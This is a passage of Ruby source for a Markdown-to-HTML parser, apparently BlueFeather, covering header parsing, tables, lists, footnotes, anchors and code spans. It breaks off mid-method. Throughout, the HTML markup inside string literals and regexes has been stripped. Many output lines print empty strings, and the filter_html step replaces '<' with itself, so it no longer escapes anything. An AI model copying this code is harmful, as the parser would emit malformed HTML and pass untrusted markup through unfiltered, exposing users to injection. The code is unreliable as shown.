[ruby-list:45988]) input.pos = first_pos first_line = true else $KCODE = kc end end headers[key] = value else # EOF or Metadata end break end end # back input.pos = pos_before_gets # skip blank lines loop do pos_before_gets = input.pos line = input.gets if line.nil? or not line =~ BLANK_LINE_PATTERN then break end end # back input.pos = pos_before_gets # get body body = input.read } return self.new(headers, body) end def parse(str, default_enc = EncodingType::UTF8) parse_io(StringIO.new(str), default_enc) end end def initialize(headers = {}, body = '') @headers = {} headers.each do |k, v| self[k] = v end @body = body end def [](key) @headers[key.to_s.downcase] end def []=(key, value) @headers[key.to_s.downcase] = value.to_s end def title @headers['title'] end def css @headers['css'] end def numbering case @headers['numbering'] when 'yes', '1', 'true', 'on' true else false end end alias numbering? numbering def numbering_start_level level = (@headers['numbering-start-level'] || 2).to_i if level >= 1 and level <= 6 then return level else return 2 end end def encoding_type @headers['encoding'] || EncodingType::UTF8 end def header_id_type (@headers['header-id-type'] || HeaderIDType::MD5).downcase end def kcode self.encoding_type && EncodingType.convert_to_kcode(self.encoding_type) end def to_html Parser.new.document_to_html(self) end end class Parser # Rendering state class Keeps track of URLs, titles, and HTML blocks # midway through a render. I prefer this to the globals of the Perl version # because globals make me break out in hives. Or something. class RenderState # Headers struct. Header = Struct.new(:id, :level, :content, :content_html) # from Original BlueCloth attr_accessor :urls, :titles, :html_blocks, :log # BlueFeather Extension attr_accessor :footnotes, :found_footnote_ids, :warnings attr_accessor :headers, :block_transform_depth attr_accessor :header_id_type # option switch attr_accessor :numbering, :numbering_start_level # option switch alias numbering? numbering def initialize @urls, @titles, @html_blocks = {}, {}, {} @log = nil @footnotes, @found_footnote_ids, @warnings = {}, [], [] @headers = [] @block_transform_depth = 0 @header_id_type = HeaderIDType::MD5 @numbering = false @numbering_start_level = 2 end end # Tab width for #detab! if none is specified TabWidth = 4 # The tag-closing string -- set to '>' for HTML EmptyElementSuffix = " />"; # Table of MD5 sums for escaped characters EscapeTable = {} '\\`*_{}[]()#.!|:~'.split(//).each {|char| hash = Digest::MD5::hexdigest( char ) EscapeTable[ char ] = { :md5 => hash, :md5re => Regexp::new( hash ), :re => Regexp::new( '\\\\' + Regexp::escape(char) ), :unescape => char, } escaped = "\\#{char}" hash = Digest::MD5::hexdigest(escaped) EscapeTable[escaped] = { :md5 => hash, :md5re => Regexp::new( hash ), :re => Regexp::new( '\\\\' + Regexp::escape(char) ), :unescape => char, } } ################################################################# ### I N S T A N C E M E T H O D S ################################################################# ### Create a new BlueFeather parser. def initialize(*restrictions) @log = Logger::new( $deferr ) @log.level = $DEBUG ? Logger::DEBUG : ($VERBOSE ? Logger::INFO : Logger::WARN) @scanner = nil # Add any restrictions, and set the line-folding attribute to reflect # what happens by default. @filter_html = nil @filter_styles = nil restrictions.flatten.each {|r| __send__("#{r}=", true) } @fold_lines = true @use_header_id = true @display_warnings = true @log.debug "String is: %p" % self end ###### public ###### # Filters for controlling what gets output for untrusted input. (But really, # you're filtering bad stuff out of untrusted input at submission-time via # untainting, aren't you?) attr_accessor :filter_html, :filter_styles # RedCloth-compatibility accessor. Line-folding is part of Markdown syntax, # so this isn't used by anything. attr_accessor :fold_lines # BlueFeather Extension: display warnings on the top of output html (default: true) attr_accessor :display_warnings # BlueFeather Extension: add id to each header, for toc and anchors. (default: true) attr_accessor :use_header_id ### Render Markdown-formatted text in this string object as HTML and return ### it. The parameter is for compatibility with RedCloth, and is currently ### unused, though that may change in the future. def parse_text(source, rs = nil) rs ||= RenderState.new # check case rs.header_id_type when HeaderIDType::MD5, HeaderIDType::ESCAPE else rs.warnings << "illegal header id type - #{rs.header_id_type}" end # Create a StringScanner we can reuse for various lexing tasks @scanner = StringScanner::new( '' ) # Make a copy of the string with normalized line endings, tabs turned to # spaces, and a couple of guaranteed newlines at the end text = detab(source.gsub( /\r\n?/, "\n" )) text += "\n\n" @log.debug "Normalized line-endings: %p" % text # Filter HTML if we're asked to do so if self.filter_html text.gsub!( "<", "<" ) text.gsub!( ">", ">" ) @log.debug "Filtered HTML: %p" % text end # Simplify blank lines text.gsub!( /^ +$/, '' ) @log.debug "Tabs -> spaces/blank lines stripped: %p" % text # Replace HTML blocks with placeholders text = hide_html_blocks( text, rs ) @log.debug "Hid HTML blocks: %p" % text @log.debug "Render state: %p" % rs # Strip footnote definitions, store in render state text = strip_footnote_definitions( text, rs ) @log.debug "Stripped footnote definitions: %p" % text @log.debug "Render state: %p" % rs # Strip link definitions, store in render state text = strip_link_definitions( text, rs ) @log.debug "Stripped link definitions: %p" % text @log.debug "Render state: %p" % rs # Escape meta-characters text = escape_special_chars( text ) @log.debug "Escaped special characters: %p" % text # Transform block-level constructs text = apply_block_transforms( text, rs ) @log.debug "After block-level transforms: %p" % text # Now swap back in all the escaped characters text = unescape_special_chars( text ) @log.debug "After unescaping special characters: %p" % text # Extend footnotes unless rs.footnotes.empty? then text << %Q|
\n| rs.found_footnote_ids.each do |id| content = rs.footnotes[id] html = apply_block_transforms(content.sub(/\n+\Z/, '') + %Q| |, rs) text << %Q|
  • \n#{html}\n
  • | end text << %Q|\n
    \n| end # Display warnings if @display_warnings then unless rs.warnings.empty? then html = %Q|
    [WARNINGS]\n|
    					html << rs.warnings.map{|x| Util.escape_html(x)}.join("\n")
    					html << %Q|
    | text = html + text end end return text end alias parse parse_text # return values are extended. (mainly for testing) def parse_text_with_render_state(str, rs = nil) rs ||= RenderState.new html = parse_text(str, rs) return [html, rs] end def parse_text_file(path) parse_text(File.read(path)) end alias parse_file parse_text_file def parse_document(source, default_enc = EncodingType::UTF8) doc = Document.parse(source, default_enc) return document_to_html(doc) end def parse_document_file(path, default_enc = EncodingType::UTF8) doc = nil open(path){|f| doc = Document.parse_io(f, default_enc) } return document_to_html(doc) end def document_to_html(doc) rs = RenderState.new if doc.numbering? then rs.numbering = true end rs.numbering_start_level = doc.numbering_start_level rs.header_id_type = doc.header_id_type body_html = nil if doc.encoding_type then Util.change_kcode(doc.kcode){ body_html = parse_text(doc.body, rs) } else body_html = parse_text(doc.body, rs) end out = Util.generate_blank_string_io(doc.body) # XHTML decleration out.puts %Q|| # html start out.puts %Q|| # head out.puts %Q|| if doc.encoding_type and (charset = EncodingType.convert_to_charset(doc.encoding_type)) then out.puts %Q|| end h1 = rs.headers.find{|x| x.level == 1} h1_content = (h1 ? h1.content : nil) title = Util.escape_html(doc.title || h1_content || 'no title (Generated by BlueFeather)') out.puts %Q|#{title}| %w(description keywords).each do |name| if doc[name] then content = Util.escape_html(doc[name]) out.puts %Q|| end end if doc['css'] then href = Util.escape_html(doc.css) out.puts %Q|| end if doc['rdf-feed'] then href = Util.escape_html(doc['rdf-feed']) out.puts %Q|| end if doc['rss-feed'] then href = Util.escape_html(doc['rss-feed']) out.puts %Q|| end if doc['atom-feed'] then href = Util.escape_html(doc['atom-feed']) out.puts %Q|| end out.puts %Q|| # body out.puts %Q|| out.puts out.puts body_html out.puts out.puts %Q|| # html end out.puts %Q|| return out.string end alias doc2html document_to_html ####### #private ####### ### Convert tabs in +str+ to spaces. ### (this method is reformed to function-like method from original BlueCloth) def detab( str, tabwidth=TabWidth ) re = str.split( /\n/ ).collect {|line| line.gsub( /(.*?)\t/ ) do $1 + ' ' * (tabwidth - $1.length % tabwidth) end }.join("\n") re end ### Do block-level transforms on a copy of +str+ using the specified render ### state +rs+ and return the results. def apply_block_transforms( str, rs ) rs.block_transform_depth += 1 # Port: This was called '_runBlockGamut' in the original @log.debug "Applying block transforms to:\n %p" % str text = str text = pretransform_fenced_code_blocks( text, rs ) text = pretransform_block_separators(text, rs) text = transform_headers( text, rs ) text = transform_toc(text, rs) text = transform_hrules( text, rs ) text = transform_lists( text, rs ) text = transform_definition_lists( text, rs ) # BlueFeather Extension text = transform_code_blocks( text, rs ) text = transform_block_quotes( text, rs ) text = transform_tables(text, rs) text = hide_html_blocks( text, rs ) text = form_paragraphs( text, rs ) rs.block_transform_depth -= 1 @log.debug "Done with block transforms:\n %p" % text return text end ### Apply Markdown span transforms to a copy of the specified +str+ with the ### given render state +rs+ and return it. def apply_span_transforms( str, rs ) @log.debug "Applying span transforms to:\n %p" % str str = transform_code_spans( str, rs ) str = transform_auto_links( str, rs ) str = encode_html( str ) str = transform_images( str, rs ) str = transform_anchors( str, rs ) str = transform_italic_and_bold( str, rs ) # Hard breaks str.gsub!( / {2,}\n/, " #
    # tags for inner block must be indented. #
    # StrictBlockRegexp = %r{ ^ # Start of line <(#{StrictTagPattern}) # Start tag: \2 \b # word break (.*\n)*? # Any number of lines, minimal match # Matching end tag [ ]* # trailing spaces $ # End of line or document }ix # More-liberal block-matching LooseBlockRegexp = %r{ ^ # Start of line <(#{LooseTagPattern}) # start tag: \2 \b # word break (.*\n)*? # Any number of lines, minimal match .* # Anything + Matching end tag [ ]* # trailing spaces $ # End of line or document }ix # Special case for
    . HruleBlockRegexp = %r{ ( # $1 \A\n? # Start of doc + optional \n | # or .*\n\n # anything + blank line ) ( # save in $2 # BlueFeather fix: Not allow any space on line top
    ])*? # Attributes /?> # Tag close $ # followed by a blank line or end of document ) }ix ### Replace all blocks of HTML in +str+ that start in the left margin with ### tokens. def hide_html_blocks( str, rs ) @log.debug "Hiding HTML blocks in %p" % str # Tokenizer proc to pass to gsub tokenize = lambda {|match| key = Digest::MD5::hexdigest( match ) rs.html_blocks[ key ] = match @log.debug "Replacing %p with %p" % [ match, key ] "\n\n#{key}\n\n" } rval = str.dup @log.debug "Finding blocks with the strict regex..." rval.gsub!( StrictBlockRegexp, &tokenize ) @log.debug "Finding blocks with the loose regex..." rval.gsub!( LooseBlockRegexp, &tokenize ) @log.debug "Finding hrules..." rval.gsub!( HruleBlockRegexp ) {|match| $1 + tokenize[$2] } return rval end # Link defs are in the form: ^[id]: url "optional title" LinkRegexp = %r{ ^[ ]{0,#{TabWidth - 1}} # BlueFeather fix: indent < tab width \[(.+)\]: # id = $1 [ ]* \n? # maybe *one* newline [ ]* ? # url = $2 [ ]* \n? # maybe one newline [ ]* (?: # Titles are delimited by "quotes" or (parens). ["(] (.+?) # title = $3 [")] # Matching ) or " [ ]* )? # title is optional (?:\n+|\Z) }x ### Strip link definitions from +str+, storing them in the given RenderState ### +rs+. def strip_link_definitions( str, rs ) str.gsub( LinkRegexp ) {|match| id, url, title = $1, $2, $3 rs.urls[ id.downcase ] = encode_html( url ) unless title.nil? rs.titles[ id.downcase ] = title.gsub( /"/, """ ) end "" } end # Footnotes defs are in the form: [^id]: footnote contents. FootnoteDefinitionRegexp = %r{ ^[ ]{0,#{TabWidth - 1}} \[\^(.+?)\]\: # id = $1 [ ]* (.*) # first line content = $2 (?:\n|\Z) ( # second or more lines content = $3 (?: [ ]{#{TabWidth},} # indented .* (?:\n|\Z) | \n # blank line )* )? }x FootnoteIdRegexp = /^[a-zA-Z0-9\:\._-]+$/ def strip_footnote_definitions(str, rs) str.gsub( FootnoteDefinitionRegexp ) {|match| id = $1; content1 = $2; content2 = $3 unless id =~ FootnoteIdRegexp then rs.warnings << "illegal footnote id - #{id} (legal chars: a-zA-Z0-9_-.:)" end if content2 then @log.debug " Stripping multi-line definition %p, %p" % [$2, $3] content = content1 + "\n" + outdent(content2.chomp) @log.debug " Stripped multi-line definition %p, %p" % [id, content] rs.footnotes[id] = content else content = content1 || '' @log.debug " Stripped single-line definition %p, %p" % [id, content] rs.footnotes[id] = content end "" } end ### Escape special characters in the given +str+ def escape_special_chars( str ) @log.debug " Escaping special characters" text = '' # The original Markdown source has something called '$tags_to_skip' # declared here, but it's never used, so I don't define it. tokenize_html( str ) {|token, str| @log.debug " Adding %p token %p" % [ token, str ] case token # Within tags, encode * and _ when :tag text += str. gsub( /\*/, EscapeTable['*'][:md5] ). gsub( /_/, EscapeTable['_'][:md5] ) # Encode backslashed stuff in regular text when :text text += encode_backslash_escapes( str ) else raise TypeError, "Unknown token type %p" % token end } @log.debug " Text with escapes is now: %p" % text return text end ### Swap escaped special characters in a copy of the given +str+ and return ### it. def unescape_special_chars( str ) EscapeTable.each {|char, hash| @log.debug "Unescaping escaped %p with %p" % [ char, hash[:md5re] ] str.gsub!( hash[:md5re], hash[:unescape] ) } return str end ### Return a copy of the given +str+ with any backslashed special character ### in it replaced with MD5 placeholders. def encode_backslash_escapes( str ) # Make a copy with any double-escaped backslashes encoded text = str.gsub( /\\\\/, EscapeTable['\\\\'][:md5] ) EscapeTable.each_pair {|char, esc| next if char == '\\\\' next unless char =~ /\\./ text.gsub!( esc[:re], esc[:md5] ) } return text end def pretransform_block_separators(str, rs) str.gsub(/^[ ]{0,#{TabWidth - 1}}[~][ ]*\n/){ "\n~\n\n" } end TOCRegexp = %r{ ^\{ # bracket on line-head [ ]* # optional inner space toc (?: (?: [:] # colon | # or [ ]+ # 1 or more space ) (.+?) # $1 = parameter )? [ ]* # optional inner space \} # closer [ ]*$ # optional space on line-foot }ix TOCStartLevelRegexp = %r{ ^ (?: # optional start h ([1-6]) # $1 = start level )? (?: # range symbol [.]{2,}|[-] # .. or - ) (?: # optional end h? # optional 'h' ([1-6]) # $2 = end level )?$ }ix ### Transform any Markdown-style horizontal rules in a copy of the specified ### +str+ and return it. def transform_toc( str, rs ) @log.debug " Transforming tables of contents" str.gsub(TOCRegexp){ start_level = 2 # default end_level = 6 param = $1 if param then if param =~ TOCStartLevelRegexp then if !($1) and !($2) then rs.warnings << "illegal TOC parameter - #{param} (valid example: 'h2..h4')" else start_level = ($1 ? $1.to_i : 2) end_level = ($2 ? $2.to_i : 6) end else rs.warnings << "illegal TOC parameter - #{param} (valid example: 'h2..h4')" end end if rs.headers.first and rs.headers.first.level >= (start_level + 1) then rs.warnings << "illegal structure of headers - h#{start_level} should be set before h#{rs.headers.first.level}" end ul_text = "\n\n" rs.headers.each do |header| if header.level >= start_level and header.level <= end_level then ul_text << ' ' * TabWidth * (header.level - start_level) ul_text << '* ' ul_text << %Q|#{header.content_html}| ul_text << "\n" end end ul_text << "\n" ul_text # output } end TableRegexp = %r{ (?: ^([ ]{0,#{TabWidth - 1}}) # not indented (?:[|][ ]*) # NOT optional border \S.*? # 1st cell content (?: # 2nd cell or later [|] # cell splitter .+? # content )+ # 1 or more.. [|]? # optional border (?:\n|\Z) # line end )+ }x # Transform tables. def transform_tables(str, rs) str.gsub(TableRegexp){ transform_table_rows($~[0], rs) } end TableSeparatorCellRegexp = %r{ ^ [ ]* ([:])? # $1 = left-align symbol [ ]* [-]+ # border [ ]* ([:])? # $2 = right-align symbol [ ]* $ }x def transform_table_rows(str, rs) # split cells to 2-d array data = str.split("\n").map{|x| x.split('|')} data.each do |row| # cut left space row.first.lstrip! # cut when optional side-borders is included row.shift if row.first.empty? end column_attrs = [] re = '' re << "\n" # head is exist? if data.size >= 3 and data[1].all?{|x| x =~ TableSeparatorCellRegexp} then head_row = data.shift separator_row = data.shift separator_row.each do |cell| cell.match TableSeparatorCellRegexp left = $1; right = $2 if left and right then column_attrs << ' style="text-align: center"' elsif right then column_attrs << ' style="text-align: right"' elsif left then column_attrs << ' style="text-align: left"' else column_attrs << '' end end re << "\t\n" head_row.each_with_index do |cell, i| re << "\t\t#{apply_span_transforms(cell.strip, rs)}\n" end re << "\t\n" end # data row re << "\t\n" data.each do |row| re << "\t\t\n" row.each_with_index do |cell, i| re << "\t\t\t#{apply_span_transforms(cell.strip, rs)}\n" end re << "\t\t\n" end re << "\t\n" re << "
    \n" re end ### Transform any Markdown-style horizontal rules in a copy of the specified ### +str+ and return it. def transform_hrules( str, rs ) @log.debug " Transforming horizontal rules" str.gsub( /^( ?[\-\*_] ?){3,}$/, "\n\n%s\n} % [ list_type, transform_list_items( list, rs ), list_type, ] } end # Pattern for transforming list items ListItemRegexp = %r{ (\n)? # leading line = $1 (^[ ]*) # leading whitespace = $2 (#{ListMarkerAny}) [ ]+ # list marker = $3 ((?m:.+?) # list item text = $4 \n) (?= (\n*) (\z | \2 (#{ListMarkerAny}) [ ]+)) }x ### Transform list items in a copy of the given +str+ and return it. def transform_list_items( str, rs ) @log.debug " Transforming list items" # Trim trailing blank lines str = str.sub( /\n{2,}\z/, "\n" ) str.gsub( ListItemRegexp ) {|line| @log.debug " Found item line %p" % line leading_line, item = $1, $4 separating_lines = $5 if leading_line or /\n{2,}/.match(item) or not separating_lines.empty? then @log.debug " Found leading line or item has a blank" item = apply_block_transforms( outdent(item), rs ) else # Recursion for sub-lists @log.debug " Recursing for sublist" item = transform_lists( outdent(item), rs ).chomp item = apply_span_transforms( item, rs ) end %{
  • %s
  • \n} % item } end DefinitionListRegexp = %r{ (?: (?:^.+\n)+ # dt \n* (?: ^[ ]{0,#{TabWidth - 1}} # Indent < tab width \: # dd marker (line head) [ ]* # space ((?m:.+?)) # dd content (?: \s*\z # end of string | # or \n{2,} # blank line (?=[ ]{0,#{TabWidth - 1}}\S) # ...followed by ) )+ )+ }x def transform_definition_lists(str, rs) @log.debug " Transforming definition lists at %p" % (str[0,100] + '...') str.gsub( DefinitionListRegexp ) {|list| @log.debug " Found definition list %p (captures=%p)" % [list, $~.captures] transform_definition_list_items(list, rs) } end DDLineRegexp = /^\:[ ]{0,#{TabWidth - 1}}(.*)/ def transform_definition_list_items(str, rs) buf = Util.generate_blank_string_io(str) buf.puts %Q|
    | lines = str.split("\n") until lines.empty? do dts = [] # get dt items while lines.first =~ /^(?!\:).+$/ do dts << lines.shift end dd_as_block = false # skip blank lines while not lines.empty? and lines.first.empty? do lines.shift dd_as_block = true end dds = [] while lines.first =~ DDLineRegexp do dd_buf = [] # dd first line unless (line = lines.shift).empty? then dd_buf << $1 << "\n" end # dd second and more lines (sequential with 1st-line) until lines.empty? or # stop if read all lines.first =~ /^[ ]{0,#{TabWidth - 1}}$/ or # stop if blank line lines.first =~ DDLineRegexp do # stop if new dd found dd_buf << outdent(lines.shift) << "\n" end # dd second and more lines (separated with 1st-line) until lines.empty? do # stop if all was read if lines.first.empty? then # blank line (skip) lines.shift dd_buf << "\n" elsif lines.first =~ /^[ ]{#{TabWidth},}/ then # indented body dd_buf << outdent(lines.shift) << "\n" else # not indented body break end end dds << dd_buf.join # skip blank lines unless lines.empty? then while lines.first.empty? do lines.shift end end end # html output dts.each do |dt| buf.puts %Q|
    #{apply_span_transforms(dt, rs)}
    | end dds.each do |dd| if dd_as_block then buf.puts %Q|
    #{apply_block_transforms(dd, rs)}
    | else dd.gsub!(/\n+\z/, '') # chomp linefeeds buf.puts %Q|
    #{apply_span_transforms(dd.chomp, rs)}
    | end end end buf.puts %Q|
    | return(buf.string) end # old # Pattern for matching codeblocks CodeBlockRegexp = %r{ (?:\n\n|\A|\A\n) ( # $1 = the code block (?: (?:[ ]{#{TabWidth}} | \t) # a tab or tab-width of spaces .*\n+ )+ ) (^[ ]{0,#{TabWidth - 1}}\S|\Z) # Lookahead for non-space at # line-start, or end of doc }x ### Transform Markdown-style codeblocks in a copy of the specified +str+ and ### return it. def transform_code_blocks( str, rs ) @log.debug " Transforming code blocks" str.gsub( CodeBlockRegexp ) {|block| codeblock = $1 remainder = $2 tmpl = %{\n\n
    %s\n
    \n\n%s} # patch for ruby 1.9.1 bug if tmpl.respond_to?(:force_encoding) then tmpl.force_encoding(str.encoding) end args = [ encode_code( outdent(codeblock), rs ).rstrip, remainder ] # recover all backslash escaped to original form EscapeTable.each {|char, hash| args[0].gsub!( hash[:md5re]){char} } # Generate the codeblock tmpl % args } end FencedCodeBlockRegexp = /^(\~{3,})\n((?m:.+?)\n)\1\n/ def pretransform_fenced_code_blocks( str, rs ) @log.debug " Transforming fenced code blocks => standard code blocks" str.gsub( FencedCodeBlockRegexp ) {|block| "\n~\n\n" + indent($2) + "\n~\n\n" } end # Pattern for matching Markdown blockquote blocks BlockQuoteRegexp = %r{ (?: ^[ ]*>[ ]? # '>' at the start of a line .+\n # rest of the first line (?:.+\n)* # subsequent consecutive lines \n* # blanks )+ }x PreChunk = %r{ ( ^ \s*
     .+? 
    ) }xm ### Transform Markdown-style blockquotes in a copy of the specified +str+ ### and return it. def transform_block_quotes( str, rs ) @log.debug " Transforming block quotes" str.gsub( BlockQuoteRegexp ) {|quote| @log.debug "Making blockquote from %p" % quote quote.gsub!( /^ *> ?/, '' ) # Trim one level of quoting quote.gsub!( /^ +$/, '' ) # Trim whitespace-only lines indent = " " * TabWidth quoted = %{
    \n%s\n
    \n\n} % apply_block_transforms( quote, rs ). gsub( /^/, indent ). gsub( PreChunk ) {|m| m.gsub(/^#{indent}/o, '') } @log.debug "Blockquoted chunk is: %p" % quoted quoted } end # BlueFeather change: # allow loosely urls and addresses (BlueCloth is very strict) # # loose examples: # (other protocol) # (ex: gmail alias) # # not adapted addresses: # <"Abc@def"@example.com> (refer to quoted-string of RFC 5321) AutoAnchorURLRegexp = /<(#{URI.regexp})>/ # $1 = url AutoAnchorEmailRegexp = /<([^'">\s]+?\@[^'">\s]+[.][a-zA-Z]+)>/ # $2 = address ### Transform URLs in a copy of the specified +str+ into links and return ### it. def transform_auto_links( str, rs ) @log.debug " Transforming auto-links" str.gsub(AutoAnchorURLRegexp){ %|#{Util.escape_html($1)}| }.gsub( AutoAnchorEmailRegexp ) {|addr| encode_email_address( unescape_special_chars($1) ) } end # Encoder functions to turn characters of an email address into encoded # entities. Encoders = [ lambda {|char| "&#%03d;" % char}, lambda {|char| "&#x%X;" % char}, lambda {|char| char.chr }, ] ### Transform a copy of the given email +addr+ into an escaped version safer ### for posting publicly. def encode_email_address( addr ) rval = '' ("mailto:" + addr).each_byte {|b| case b when ?: rval += ":" when ?@ rval += Encoders[ rand(2) ][ b ] else r = rand(100) rval += ( r > 90 ? Encoders[2][ b ] : r < 45 ? Encoders[1][ b ] : Encoders[0][ b ] ) end } return %{%s} % [ rval, rval.sub(/.+?:/, '') ] end # Regexp for matching Setext-style headers SetextHeaderRegexp = %r{ (.+?) # The title text ($1) (?: # Markdown Extra: Header Id Attribute (optional) [ ]* # space after closing #'s \{\# (\S+?) # $2 = Id \} [ \t]* # allowed lazy spaces )? \n ([\-=])+ # Match a line of = or -. Save only one in $3. [ ]*\n+ }x # Regexp for matching ATX-style headers AtxHeaderRegexp = %r{ ^(\#+) # $1 = string of #'s [ ]* (.+?) # $2 = Header text [ ]* \#* # optional closing #'s (not counted) (?: # Markdown Extra: Header Id Attribute (optional) [ ]* # space after closing #'s \{\# (\S+?) # $3 = Id \} [ \t]* # allowed lazy spaces )? \n+ }x HeaderRegexp = Regexp.union(SetextHeaderRegexp, AtxHeaderRegexp) IdRegexp = /^[a-zA-Z][a-zA-Z0-9\:\._-]*$/ ### Apply Markdown header transforms to a copy of the given +str+ amd render ### state +rs+ and return the result. def transform_headers( str, rs ) @log.debug " Transforming headers" # Setext-style headers: # Header 1 # ======== # # Header 2 # -------- # section_numbers = [nil, nil, nil, nil, nil] str. gsub( HeaderRegexp ) {|m| if $1 then @log.debug "Found setext-style header" title, id, hdrchar = $1, $2, $3 case hdrchar when '=' level = 1 when '-' level = 2 end else @log.debug "Found ATX-style header" hdrchars, title, id = $4, $5, $6 level = hdrchars.length if level >= 7 then rs.warnings << "illegal header level - h#{level} ('#' symbols are too many)" end end prefix = '' if rs.numbering? then if level >= rs.numbering_start_level and level <= 6 then depth = level - rs.numbering_start_level section_numbers.each_index do |i| if i == depth and section_numbers[depth] then # increment a deepest number if current header's level equals last header's section_numbers[i] += 1 elsif i <= depth then # set default number if nil section_numbers[i] ||= 1 else # clear discardeds section_numbers[i] = nil end end no = '' (0..depth).each do |i| no << "#{section_numbers[i]}." end prefix = "#{no} " end end title_html = apply_span_transforms( title, rs ) unless id then case rs.header_id_type when HeaderIDType::ESCAPE id = escape_to_header_id(title_html) if rs.headers.find{|h| h.id == id} then rs.warnings << "header id collision - #{id}" id = "bfheader-#{Digest::MD5.hexdigest(title)}" end else id = "bfheader-#{Digest::MD5.hexdigest(title)}" end end title = "#{prefix}#{title}" title_html = "#{prefix}#{title_html}" unless id =~ IdRegexp then rs.warnings << "illegal header id - #{id} (legal chars: [a-zA-Z0-9_-.] | 1st: [a-zA-Z])" end if rs.block_transform_depth == 1 then rs.headers << RenderState::Header.new(id, level, title, title_html) end if @use_header_id then %{%s\n\n} % [ level, id, title_html, level ] else %{%s\n\n} % [ level, title_html, level ] end } end ### Wrap all remaining paragraph-looking text in a copy of +str+ inside

    ### tags and return it. def form_paragraphs( str, rs ) @log.debug " Forming paragraphs" grafs = str. sub( /\A\n+/, '' ). sub( /\n+\z/, '' ). split( /\n{2,}/ ) rval = grafs.collect {|graf| # Unhashify HTML blocks if this is a placeholder if rs.html_blocks.key?( graf ) rs.html_blocks[ graf ] # no output if this is block separater elsif graf == '~' then '' # Otherwise, wrap in

    tags else apply_span_transforms(graf, rs). sub( /^[ ]*/, '

    ' ) + '

    ' end }.join( "\n\n" ) @log.debug " Formed paragraphs: %p" % rval return rval end # Pattern to match the linkid part of an anchor tag for reference-style # links. RefLinkIdRegexp = %r{ [ ]? # Optional leading space (?:\n[ ]*)? # Optional newline + spaces \[ (.*?) # Id = $1 \] }x InlineLinkRegexp = %r{ \( # Literal paren [ ]* # Zero or more spaces ? # URI = $1 [ ]* # Zero or more spaces (?: # ([\"\']) # Opening quote char = $2 (.*?) # Title = $3 \2 # Matching quote char )? # Title is optional \) }x ### Apply Markdown anchor transforms to a copy of the specified +str+ with ### the given render state +rs+ and return it. def transform_anchors( str, rs ) @log.debug " Transforming anchors" @scanner.string = str.dup text = '' # Scan the whole string until @scanner.empty? if @scanner.scan( /\[/ ) link = ''; linkid = '' depth = 1 startpos = @scanner.pos @log.debug " Found a bracket-open at %d" % startpos # Scan the rest of the tag, allowing unlimited nested []s. If # the scanner runs out of text before the opening bracket is # closed, append the text and return (wasn't a valid anchor). while depth.nonzero? linktext = @scanner.scan_until( /\]|\[/ ) if linktext @log.debug " Found a bracket at depth %d: %p" % [ depth, linktext ] link += linktext # Decrement depth for each closing bracket depth += ( linktext[-1, 1] == ']' ? -1 : 1 ) @log.debug " Depth is now #{depth}" # If there's no more brackets, it must not be an anchor, so # just abort. else @log.debug " Missing closing brace, assuming non-link." link += @scanner.rest @scanner.terminate return text + '[' + link end end link.slice!( -1 ) # Trim final ']' @log.debug " Found leading link %p" % link # Markdown Extra: Footnote if link =~ /^\^(.+)/ then id = $1 if rs.footnotes[id] then rs.found_footnote_ids << id label = "[#{rs.found_footnote_ids.size}]" else rs.warnings << "undefined footnote id - #{id}" label = '[?]' end text += %Q|#{label}| # Look for a reference-style second part elsif @scanner.scan( RefLinkIdRegexp ) linkid = @scanner[1] linkid = link.dup if linkid.empty? linkid.downcase! @log.debug " Found a linkid: %p" % linkid # If there's a matching link in the link table, build an # anchor tag for it. if rs.urls.key?( linkid ) @log.debug " Found link key in the link table: %p" % rs.urls[linkid] url = escape_md( rs.urls[linkid] ) text += %{#{link}} # If the link referred to doesn't exist, just append the raw # source to the result else @log.debug " Linkid %p not found in link table" % linkid @log.debug " Appending original string instead: " @log.debug "%p" % @scanner.string[ startpos-1 .. @scanner.pos-1 ] rs.warnings << "link-id not found - #{linkid}" text += @scanner.string[ startpos-1 .. @scanner.pos-1 ] end # ...or for an inline style second part elsif @scanner.scan( InlineLinkRegexp ) url = @scanner[1] title = @scanner[3] @log.debug " Found an inline link to %p" % url url = "##{link}" if url == '#' # target anchor briefing (since BlueFeather 0.40) text += %{#{link}} # No linkid part: just append the first part as-is. else @log.debug "No linkid, so no anchor. Appending literal text." text += @scanner.string[ startpos-1 .. @scanner.pos-1 ] end # if linkid # Plain text else @log.debug " Scanning to the next link from %p" % @scanner.rest text += @scanner.scan( /[^\[]+/ ) end end # until @scanner.empty? return text end # Pattern to match strong emphasis in Markdown text BoldRegexp = %r{ (\*\*|__) (\S|\S.*?\S) \1 }x # Pattern to match normal emphasis in Markdown text ItalicRegexp = %r{ (\*|_) (\S|\S.*?\S) \1 }x ### Transform italic- and bold-encoded text in a copy of the specified +str+ ### and return it. def transform_italic_and_bold( str, rs ) @log.debug " Transforming italic and bold" str. gsub( BoldRegexp, %{\\2} ). gsub( ItalicRegexp, %{\\2} ) end ### Transform backticked spans into spans. def transform_code_spans( str, rs ) @log.debug " Transforming code spans" # Set up the string scanner and just return the string unless there's at # least one backtick. @scanner.string = str.dup unless @scanner.exist?( /`/ ) @scanner.terminate @log.debug "No backticks found for code span in %p" % str return str end @log.debug "Transforming code spans in %p" % str # Build the transformed text anew text = '' # Scan to the end of the string until @scanner.empty? # Scan up to an opening backtick if pre = @scanner.scan_until( /.??(?=`)/m ) text += pre @log.debug "Found backtick at %d after '...%s'" % [ @scanner.pos, text[-10, 10] ] # Make a pattern to find the end of the span opener = @scanner.scan( /`+/ ) len = opener.length closer = Regexp::new( opener ) @log.debug "Scanning for end of code span with %p" % closer # Scan until the end of the closing backtick sequence. Chop the # backticks off the resultant string, strip leading and trailing # whitespace, and encode any enitites contained in it. codespan = @scanner.scan_until( closer ) or raise FormatError::new( @scanner.rest[0,20], "No %p found before end" % opener ) @log.debug "Found close of code span at %d: %p" % [ @scanner.pos - len, codespan ] codespan.slice!( -len, len ) text += "%s" % encode_code( codespan.strip, rs ) # If there's no more backticks, just append the rest of the string # and move the scan pointer to the end else text += @scanner.rest @scanner.terminate end end return text end # Next, handle inline images: ![alt text](url "optional title") # Don't forget: encode * and _ InlineImageRegexp = %r{ ( # Whole match = $1 !\[ (.*?) \] # alt text = $2 \([ ]* ? # source url = $3 [ ]* (?: # (["']) # quote char = $4 (.*?) # title = $5 \4 # matching quote [ ]* )? # title is optional \) ) }x #" # Reference-style images ReferenceImageRegexp = %r{ ( # Whole match = $1 !\[ (.*?) \] # Alt text = $2 [ ]? # Optional space (?:\n[ ]*)? # One optional newline + spaces \[ (.*?) \] # id = $3 ) }x ### Turn image markup into image tags. def transform_images( str, rs ) @log.debug " Transforming images %p" 